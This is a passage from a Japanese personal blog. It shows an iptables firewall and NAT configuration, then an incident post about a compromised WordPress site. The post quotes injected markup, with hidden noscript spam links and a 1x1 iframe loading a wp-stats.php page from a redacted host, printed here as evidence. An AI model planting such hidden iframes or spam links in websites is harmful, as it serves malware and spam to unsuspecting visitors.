:FORWARD ACCEPT [0:0]
:OUTPUT ACCEPT [63680:6208436]
:e0 - [0:0]
-A INPUT -i eth0 -j e0
-A e0 -m state --state RELATED,ESTABLISHED -j ACCEPT
-A e0 -p icmp -m icmp --icmp-type 8 -j ACCEPT
-A e0 -p tcp -m tcp --dport 22 -j ACCEPT
-A e0 -p tcp -m tcp --dport 80 -j ACCEPT
-A e0 -p tcp -m tcp --dport 443 -j ACCEPT
-A e0 -j REJECT --reject-with icmp-port-unreachable
COMMIT
# Completed on Mon Mar 24 19:57:07 2008
# Generated by iptables-save v1.3.5 on Mon Mar 24 19:57:07 2008
**nat
:PREROUTING ACCEPT [179:10642]
:POSTROUTING ACCEPT [213:13895]
:OUTPUT ACCEPT [251:16220]
-A PREROUTING -s ! 10.0.0.0/255.255.255.0 -p tcp -m tcp --dport NNNN -j DNAT --to-destination 10.0.0.1:22
-A POSTROUTING -s 10.0.0.0/255.255.255.0 -d ! 10.0.0.0/255.255.255.0 -j SNAT --to-source AAA.BBB.CCC.DDD
COMMIT
# Completed on Mon Mar 24 19:57:07 2008

ゲストOSの設定

[root@sakura2 ~]# /usr/sbin/vserver-stat
CTX   PROC    VSZ    RSS  userTIME   sysTIME    UPTIME NAME
40013   27 301.5M  73.8M  30m36s31  56m38s90  11d06h56 one
40015    5  10.8M   4.4M   0m28s33   0m12s68   9d04h23 two
40016    2   4.2M   1.3M   0m00s47   0m00s64   0m01s97 three

追記

2008-03-07

wordpressには穴があるんじゃないだろうか

wordpressを設置して1年。

放置しっぱなしのドメインがあって、そういえば明日で期限が切れるとおもって見に行った。

ウイルスバスターが反応した。

警告

ウイルスが見つかりました

ファイル名 wp-stats[1].htm

ウイルス JS_PSYME.XP

JS_PSYME.XP

概 要 対応方法 感染状況

参 照

ウイルスタイプ: JavaScript

別 名: Downloader (Symantec), TR/Dldr.HTML.Agent.IS (Avira),

感染報告の有無 : なし

言語: English

危険度: 低

感染報告: 低

ダメージ度: 低

感染力: 低

特 徴: Worm generic description


ざっと管理画面からどこか改変されてないかみてみたが見当たらなかった。

プラグインのせいだろうか?

いやそもそもこのSymantecの文字が気になる。

もしかして、ノートン先生ウイルス認定しているのだろうか?

気になる事があるとすれば、

購読者 - (Subscriber)が7名いること。

ユーザー登録してなんになるんだろう。

runPHP狙いだろうか。Subscriberには権限を与えていないので意味がないはずだとおもう。

コメント投稿狙いだろうか。

Akismet はインストールされてから 778 件のスパムを捕らえました。

Akismetがんばったね!!

ま、明日さくっと消しておこう。。。


追記。

わかった。記事の内容が書き換えられていた。

書き換えられていた記事は最後の書き込み。

ニコニコビデオのやつをはったやつだった。

ニコニコ動画のiframeの本来のタグを無効化して違うところを参照するifreameを書いてござった。

<iframe width="312" height="176" src="http://www.nicovideo.jp/thumb/XXXXXX" scrolling="no" style="border:solid 1px #CCC;" frameborder="0"><a href="http://www.nicovideo.jp/watch/XXXXXXX">【ニコニコ動画】XXXXXXXX</a></iframe>

<iframe width="312" height="176" src="http://www.nicovideo.jp/thumb/XXXXXX" scrolling="no" style="border:solid 1px #CCC;" frameborder="0"><a href="http://www.nicovideo.jp/watch/XXXXXXX">【ニコニコ動画】XXXXXXXX</a></iframe>

これが

&lt;iframe width="312" height="176"
<noscript>XXXX(なんかスペイン語っぽい言葉)
 <a href="XXXXX">XXXXXXXX</a>
XXXXXX</noscript>
 src="<a href="http://www.nicovideo.jp/thumb/XXXXX">http://www.nicovideo.jp/thumb/XXXXX</a>" scrolling="no"
<noscript>
XXXXXXXX(上と違う内容)
<a href="XXXXXXX">XXXXXXX</a>
XXXXXXXX
</noscript>
 style="border:solid 1px #CCC;" frameborder="0"&gt;&lt;a href="
<a href="http://www.nicovideo.jp/watch/XXXXXX">
http://www.nicovideo.jp/watch/XXXXXX</a>
"&gt;【ニコニコ動画】XXXXXX(1/2)&lt;/a&gt;&lt;/iframe&gt;

<p&gt;&lt;iframe width="312" height="176" src="

<a href="http://www.nicovideo.jp/thumb/XXXX">http://www.nicovideo.jp/thumb/XXXXXX</a>

"<!-- Traffic Statistics --> 
<iframe src=XXXXXXXX/wp-stats.php width=1 height=1 frameborder=0></iframe>
<!-- End Traffic Statistics --> scrolling="no" style="border:solid 1px #CCC;" frameborder="0"&gt;&lt;a href="<a href="http://www.nicovideo.jp/watch/XXXX">http://www.nicovideo.jp/watch/XXXX</a>
"&gt;【ニコニコ動画】XXXXXXXX(2/2)&lt;/a&gt;&lt;/iframe&gt;

なにがしたいのかわからないが、

なんかもしかしたら3回ぐらい同じ系統で書き換えられてるのかもしれない。

やりかたはさっぱり想像できない。

でも、ここまで記事の内容が差し替えられるのだとしたら、管理者アカウントをのっとっちゃうのが一番てっとりばやいかな。

で、新しく記事が投稿されたのか監視するために購読者登録っと。

そんなところじゃないだろうか。。。

なんだろう。辞書アタックかな?

ログイン ユーザー登録
ようこそ ゲスト さん